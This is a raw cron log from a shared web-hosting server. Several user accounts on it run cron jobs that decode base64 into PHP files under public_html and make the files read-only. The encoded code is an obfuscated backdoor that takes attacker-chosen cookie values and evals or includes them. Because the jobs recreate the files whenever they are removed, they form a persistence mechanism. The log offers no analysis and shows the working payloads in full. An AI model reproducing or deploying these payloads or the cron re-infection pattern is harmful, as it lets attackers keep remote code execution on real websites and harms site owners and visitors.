Jun  7 11:54:01 medusa CROND[31832]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:54:01 medusa CROND[31834]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:54:01 medusa CROND[31835]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:54:01 medusa CROND[31836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:54:01 medusa CROND[31837]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:54:01 medusa CROND[31838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:54:01 medusa CROND[31841]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:54:01 medusa CROND[31842]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:54:01 medusa CROND[31843]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:54:01 medusa CROND[31844]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:54:01 medusa CROND[31846]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:54:01 medusa CROND[31851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:55:01 medusa CROND[1123]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:55:01 medusa CROND[1178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:55:01 medusa CROND[1190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:55:01 medusa CROND[1200]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:55:01 medusa CROND[1201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:55:01 medusa CROND[1210]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:55:01 medusa CROND[1218]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:55:01 medusa CROND[1226]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:55:01 medusa CROND[1238]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:55:01 medusa CROND[1255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:55:01 medusa CROND[1227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:55:01 medusa CROND[1279]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:55:01 medusa CROND[1256]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:55:01 medusa CROND[1277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:55:01 medusa CROND[1288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:55:01 medusa CROND[1289]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:55:01 medusa CROND[1290]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:55:01 medusa CROND[1281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:55:02 medusa CROND[1294]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:55:02 medusa CROND[1282]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:55:02 medusa CROND[1305]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:55:02 medusa CROND[1307]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:56:02 medusa CROND[2953]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:56:02 medusa CROND[2952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:56:02 medusa CROND[2954]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:56:02 medusa CROND[2955]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
